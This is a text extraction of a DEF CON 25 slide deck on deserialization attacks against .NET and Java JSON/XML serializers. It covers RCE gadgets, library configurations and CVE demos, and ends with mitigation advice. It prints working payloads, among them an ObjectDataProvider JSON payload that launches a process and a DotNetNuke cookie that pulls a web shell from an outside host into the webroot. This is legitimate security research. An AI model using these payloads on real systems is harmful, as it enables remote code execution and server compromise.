0% found this document useful (0 votes)
325 views58 pages

DEFCON 25 Alvaro Munoz JSON Attacks PDF

The document discusses vulnerabilities in deserializing untrusted JSON data into .NET and Java objects. It identifies gadgets that can be abused to achieve remote code execution, such as setters in certain .NET classes or toString methods in Java classes. It also analyzes the security of several popular JSON serialization libraries and the conditions under which they could be exploited via deserialization attacks.

Uploaded by

marcelodente27
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
325 views58 pages

DEFCON 25 Alvaro Munoz JSON Attacks PDF

The document discusses vulnerabilities in deserializing untrusted JSON data into .NET and Java objects. It identifies gadgets that can be abused to achieve remote code execution, such as setters in certain .NET classes or toString methods in Java classes. It also analyzes the security of several popular JSON serialization libraries and the conditions under which they could be exploited via deserialization attacks.

Uploaded by

marcelodente27
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 58

Friday the 13th: JSON Attacks

Alvaro Muoz (@pwntester)


Oleksandr Mirosh

HPE Security
> whoami
Alvaro Muoz
Security Research with HPE
Int3pids CTF player
@pwntester
Oleksandr Mirosh
Security Research with HPE
Introduction
2016 was the year of Java Deserialization apocalypse
Known vector since 2011
Previous lack of good RCE gadgets in common libraries
Apache Commons-Collections Gadget caught many off-guard.
Solution?
Stop using Java serialization
Use a secure JSON/XML serializer instead
Do not let history repeat itself
Raise awareness for .NET deserialization vulnerabilities
Is JSON/XML/<Put your favorite format here> any better?
Agenda
1. Attacking JSON serializers
Affected Libraries
Gadgets
Demo
2. Attacking .NET serializers
Affected formatters
Gadgets
Demo
3. Generalizing the attack
Demo
Is JSON any better?
Introduction
Probably secure when used to transmit data and simple JS objects
Replacing Java/.NET serialization with JSON requires OOP support.
How do we serialize a System.lang.Object field?
How do we deal with generics?
How do we serialize interface fields?
How do we deal with polymorphism?
Quick recap of Java deser attacks
Attackers can force the execution of any readObject() /
readResolve() methods of any class sitting in the classpath
By controlling the deserialized field values attackers may abuse the
logic of these methods to run arbitrary code
JSON libraries do not (normally) invoke deserialization callbacks or
magic methods

Can we initiate a gadget chain in some other way?


Sure we can
JSON libraries need to reconstruct objects by either:
Calling default constructor and using reflection to set field values
Default constructor is parameterless so useless for attack purposes
Reflection does not invoke any object methods but deserializer may do
Calling default constructor and calling setters to set field values
Can we find setters that would allow us to run arbitrary code?
Calling special constructors, type converters or callbacks
Can be used to bridge into other formatters or as start-chain gadgets
Calling common methods such as:
hashcode(), toString(), equals(), finalize(),
Combinations of the previous ones
Gadgets: .NET Edition
System.Configuration.Install.AssemblyInstaller
set_Path
Execute payload on local assembly load
System.Activities.Presentation.WorkflowDesigner
set_PropertyInspectorFontAndColorData
Arbitrary XAML load
Requires Single Threaded Apartment (STA) thread
System.Windows.ResourceDictionary
set_Source
Arbitrary XAML load
Required to be able to work with setters of types derived from IDictionary
System.Windows.Data.ObjectDataProvider
set_(MethodName | ObjectInstance | ObjectType)
Arbitrary Method Invocation
ObjectDataProvider
{"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System},
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib",
"$values":["calc"]},
"MethodName":"Start"
}

Non-default constructor with controlled parameters


ObjectType + ConstructorParameters
Any public instance method of unmarshaled object without parameters
ObjectInstance + MethodName
Any public static/instance method with controlled parameters
ObjectType + ConstructorParameters + MethodName + MethodParameters
ObjectDataProvider

http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
ObjectDataProvider

http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
ObjectDataProvider

http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
ObjectDataProvider

http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
Gadgets: Java Edition
org.hibernate.jmx.StatisticsService
setSessionFactoryJNDIName
JNDI lookup
Presented during our JNDI attacks talk at BlackHat 2016
com.atomikos.icatch.jta.RemoteClientUserTransaction
toString
JNDI lookup
com.sun.rowset.JdbcRowSetImpl
setAutoCommit
JNDI lookup
Available in Java JRE
JdbcRowSetImpl.setAutoCommit

http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
JdbcRowSetImpl.setAutoCommit

http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
Gadgets: non RCE
.NET
System.Xml.XmlDocument/XmlDataDocument
set_InnerXml
XXE on .NET before 4.5.2
System.Data.DataViewManager
set_DataViewSettingCollectionString
XXE on .NET before 4.5.2
System.Windows.Forms.BindingSource
set_DataMember
Arbitrary getter call which can be used to chain to other gadgets
Java
org.antlr.stringtemplate.StringTemplate
toString
Arbitrary getter call which can be used to chain to other gadgets such as the infamous
TemplatesImpl.getOutputProperties()
Analyzed Libraries
We analyzed different Java/.NET JSON libraries to determine whether
these libraries could lead to arbitrary code execution upon
deserialization of untrusted data in their default configuration or
under special configurations.
Requirements
Attacker can control type of reconstructed objects
Can specify Type
Library loads Type
Library/GC will call methods on reconstructed objects
There are gadget chains starting on method executed upon/after
reconstruction
Different scenarios
Format includes type discriminator
1. Default
2. Configuration setting
{ "$type": "Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests",
"FullName": "Steve Stockholder",
"Businesses": {
"$type": "System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib",
"$values": [ {
"$type": "Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests",
"Stars": 4,
"Name": "Hudson Hotel
}]}}

Type control
1. Cast after deserialization
(User) JSON.Deserialize(untrusted);
2. Inspection of expected type
JSON.Deserialize<User>(untrusted);
JSON.Deserialize(untrusted, typeof(User));
Different scenarios
Inspection of expected types object graph to determine nested
types
Check assignability from provided type and/or whitelist creation
Vulnerable if
Expected type is user-controllable
Attacker can find injection member in object graph
Message
Body : Object
IUser User Exc: Exception
Name : String Name : String
Items : Dict<String, Object> Items : Dict<String, Object>
Message : Message Message : Message
Props : Hashtable Exception ValidationException
Data : IDictionary
Message : String Value : Object
Source: String
StackTrace: String
InnerException: Exception

Summary
Name Languag Type Type Control Vector
e Discriminator
FastJSON .NET Default Cast Setter
Json.Net .NET Configuration Expected Object Graph Inspection Setter
Deser. callbacks
FSPickler .NET Default Expected Object Graph Inspection Setter
Deser. callbacks
Sweet.Jayson .NET Default Cast Setter
JavascriptSerializer .NET Configuration Cast Setter
DataContractJsonSeriali .NET Default Expected Object Graph Inspection Setter
zer Deser. callbacks
Jackson Java Configuration Expected Object Graph Inspection Setter

Genson Java Configuration Expected Object Graph Inspection Setter

JSON-IO Java Default Cast toString


FlexSON Java Default Cast Setter
GSON Java Configuration Expected Object Graph Inspection -
FastJson
Always includes Type discriminators
There is no Type check controls other than a post-deserialization cast
Var obj = (ExpectedType) JSON.ToObject(untrusted);

Invokes
Setter
Should never be used with untrusted data
Example:
KalikoCMS
CVE-2017-10712
JavaScriptSerializer
System.Web.Script.Serialization.JavaScriptSerializer
By default, it will not include type discriminator information which
makes it a secure serializer.
Type Resolver can be configured to include this information.
JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver());
string reqdInfo = apiService.authenticateRequest();
reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo));

Weak Type control: post-deserialization cast operation


During deserialization, it will call:
Setters
It can be used securely as long as a type resolver is not used or the
type resolver is configured to whitelist valid types.
DataContractJsonSerializer
System.Runtime.Serialization.Json.DataContractJsonSerializer
Performs a strict type graph inspection and prevent deserialization of
certain types.
However, we found that if the attacker can control the expected type used
to configure the deserializer, they will be able to gain code execution.
var typename = cookie["typename"];

var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);

Invokes:
Setters
Serialization Constructors
Can be used securely as long as the expected type cannot be controlled by
users.
Json.Net
Secure by default unless TypeNameHandling other than None setting is
used
Even if TypeNameHandling is enabled, attackers still need to find entry
point in object graph
public class Message {
[JsonProperty(TypeNameHandling = TypeNameHandling.All)]
public object Body { get; set; }
}

Invokes:
Setters
Serialization callbacks
Type Converters
Use SerializationBinder to whitelist Types if TypeNameHandling is
required
Demo 1: Breeze (CVE-2017-9424)

Fixed in Breeze 1.6.5 onwards


Serializer Settings

http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
Unsafe Deserialization & Entrypoint

https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs
Video
Similar Research
Java Unmarshaller Security
Author: Moritz Bechler
Parallel research published on May 22, after our research was accepted for
BlackHat and abstract was published .
Focus exclusively on Java
Overlaps with our research on:
Jackson and JSON-IO libraries
JdbcRowSetImpl.setAutoCommit gadget
Include other interesting gadgets
https://github.com/mbechler/marshalsec
.NET Formatters
Introduction
Attacks on .NET formatters are not Goals:
new Raise awareness about perils of .NET
James Forshaw already introduced deserialization
them at BlackHat 2012 for Present new vulnerable formatters
BinaryFormatter scenarios
NetDataContractSerializer Present new gadgets
Need new gadgets that works with
Lack of RCE gadget until recently Formatters other than BinaryFormatter
PSObject Gadget
Bridges to custom deserializer

https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs
PSObject Gadget

https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs
PSObject Gadget

LanguagePrimitives.FigureConversion() allows to:


Call the constructor of any public Type with one argument (attacker controlled)
Call any setters of public properties for the attacker controlled type
Call the static public Parse(string) method of the attacker controlled type.

https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
PSObject Gadget

System.Windows.Markup.XamlReader.Parse() -> Process.Start(calc.exe)

https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
.NET Native Formatters I
System.Runtime.Serialization.Formatters.Soap.SoapFormatter
Serializes objects to and from SOAP XML format.
Similar to BinaryFormatter in a number of things;
They both implements IFormatter interface and serialize only Serializable
annotated types.
Both use surrogates to handle custom serialization and binders to control the type
loading.
Both will invoke similar methods upon deserialization which include:
setters, Iserializable constructor, OnDeserialized annotated methods and
OnDeserialization callback.

System.Web.Script.Serialization.JavaScriptSerializer
Covered in JSON section
.NET Native Formatters II
System.Web.UI.ObjectStateFormatter
Used by LosFormatter as a binary formatter for persisting the view state for
Web Forms pages. It uses BinaryFormatter internally and therefore offers
similar attack surface.
Uses TypeConverters
System.Messaging.XmlMessageFormatter
It is the default formatter used by MSMQ. It uses XmlSerializer internally
and therefore it is vulnerable to same attack patterns.
System.Messaging.BinaryMessageFormatter
Used by MSMQ as a binary formatter for sending messages to queues. It uses
BinaryFormatter internally and therefore offers similar attack surface.
.NET Native Formatters III
System.Runtime.Serialization.DataContractSerializer
It inspects the object graph of the expected type and limits the deserialization to only those
types known at construction time (either in the object graph or supplied with KnownTypes
list parameter).
Suitable to handle untrusted data unless any of the following scenarios apply:
Using a weak type resolver
Using user controlled expected type
Type objType = Type.GetType(message.Label.Split('|')[1], true, true);
DataContractSerializer serializer = new DataContractSerializer(objType);
serializer.ReadObject(message.BodyStream);

Will invoke multiple methods which can be used to initiate a RCE gadget chain such as setters
and serialization constructors.
System.Runtime.Serialization.Json.DataContractJsonSerializer
Covered in JSON section
Very similar to DataContractSerializer
No type resolvers can be used
.NET Native Formatters IV
System.Xml.Serialization.XmlSerializer
Will inspect the expected type at construction time and create an ad-hoc
serializer that will only know about those types appearing in the object graph.
Prevents deserialization of interface members.
Only vulnerable configuration for this deserializer is when attacker can control
the expected type.
var typename = cookie["typename"];

var typeName = xmlItem.GetAttribute("type");
var xser = new XmlSerializer(Type.GetType(typeName));

From an attacker perspective, overcoming the type limitation can be a


problem, but we will show later that this can be done with some tricks.
Demo 2: NancyFX (CVE-2017-9785)

Fixed in version 1.4.4 / 2.0-dangermouse onwards


NCSRF Cookie
CSRF cookie
Latest stable version used a BinaryFormatter serialized cookie (1.x)
AAEAAAD/////AQAAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3VsdHVyZT1uZX
V0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAYTmFuY3kuU2VjdXJpdHkuQ3NyZlRva2VuAwAA
ABw8UmFuZG9tQnl0ZXM+a19fQmFja2luZ0ZpZWxkHDxDcmVhdGVkRGF0ZT5rX19CYWNraW5nRmllbG
QVPEhtYWM+a19fQmFja2luZ0ZpZWxkBwAHAg0CAgAAAAkDAAAAspLEeOrO0IgJBAAAAA8DAAAACgAA
AAJ9FN3bma5ztsdODwQAAAAgAAAAAt9dloO6qU2iUAuPUAtsq+Ud0w5Qu1py8YhoCn5hv+PJCwAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
Pre-released 2.x used a custom JSON parser to make it compatible with .NET Core first versions
{"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate":"2017-04-
03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,213,201,164,3,
19,56,139,78,159,170,193,192,183,242,187,170,221,140,46,24,197],"TypeObject":"
Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral,
PublicKeyToken=null}
Pre-auth RCE in both versions
Video
Generalizing the
Attacks
Attacking all the deserializers
When dealing with object unmarshaling, objects will need to be
created and populated which normally mean calling setters or
deserialization constructors.
Requirements
Attacker can control type to be instantiated upon deserialization
Methods are called on the reconstructed objects
Gadget space is big enough to find types we can chain to get RCE
We can use the presented gadgets to attack these formats
Examples
FsPickler (xml/binary)
A fast, multi-format messaging serializer for .NET
Includes arbitrary Type discriminators
Invokes setters and ISerializable constructor and callbacks
Object Graph Inspection
SharpSerializer
XML and binary serialization for .NET and Silverlight
Includes arbitrary Type discriminators
Invokes setters
No type control other than post-deserialization cast
Wire/Hyperion
A high performance polymorphic serializer for the .NET framework used by Akka.NET
JSON.NET with TypeNameHandling = All or custom binary one
Includes Type discriminators and invokes setters and ISerializable constructor and
callbacks
Beware of rolling your own format
NancyFX
Custom JSON parser replacing BinaryFormatter (Pre-released 2.x ) to make it
compatible with .NET Core first versions
{"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate":
"2017-04-
03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,2
13,201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140
,46,24,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy,
Version=2.0.0.0, Culture=neutral, PublicKeyToken=null}

DotNetNuke CMS (DNN Platform)


Wraps XmlSerializer around a custom XML format which includes the type
to be used to create the XmlSerializer
This deserves a slide on its own
Overcoming XmlSerializer constraints

Types with interface members cannot be serialized


System.Windows.Data.ObjectDataProvider is XmlSerializer friendly
System.Diagnostic.Process has Interface members use any other
Type!
XamlReader.Load(String) -> RCE
ObjectStateFormatter.Deserialize(String) -> RCE
DotNetNuke.Common.Utilities.FileSystemUtils.PullFile(String) -> WebShell
DotNetNuke.Common.Utilities.FileSystemUtils.WriteFile(String) -> Read files

Runtime Types needs to be known at serializer construction time


ObjectDataProvider contains an Object member (unknown runtime Type)
Use a parametrized Type to teach XmlSerializer about runtime types. Eg:

System.Data.Services.Internal.ExpandedWrapper`2[
[PUT_RUNTIME_TYPE_1_HERE],[PUT_RUNTIME_TYPE_2_HERE]
], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
Demo 3: DotNetNuke (CVE-2017-9822)

Fixed in DNN Platform 9.1.1 or EVOQ 9.1.1 onwards


Source

https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72
Sink

https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utili ties/XmlUtils.cs#L201
Video
DNNPersonalization Regular Cookie
<profile>
<item key="85:AllCreditors" type="System.Boolean, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">
<boolean>false</boolean>
</item>
</profile>
DNNPersonalization Payload Cookie
<profile>
<item key="name1:key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Win
dows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Wrap-Up
Main Takeaways
Do not deserialize untrusted data!
no, seriously, do not deserialize untrusted data!
ok, if you really need to:
Make sure to evaluate the security of the chosen library
Avoid libraries without strict Type control
Type discriminators are necessary but not sufficient condition
Never use user-controlled data to define the deserializer expected Type
Do not roll your own format
Thank you!
Alvaro Muoz (@pwntester) & Oleksandr Mirosh

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy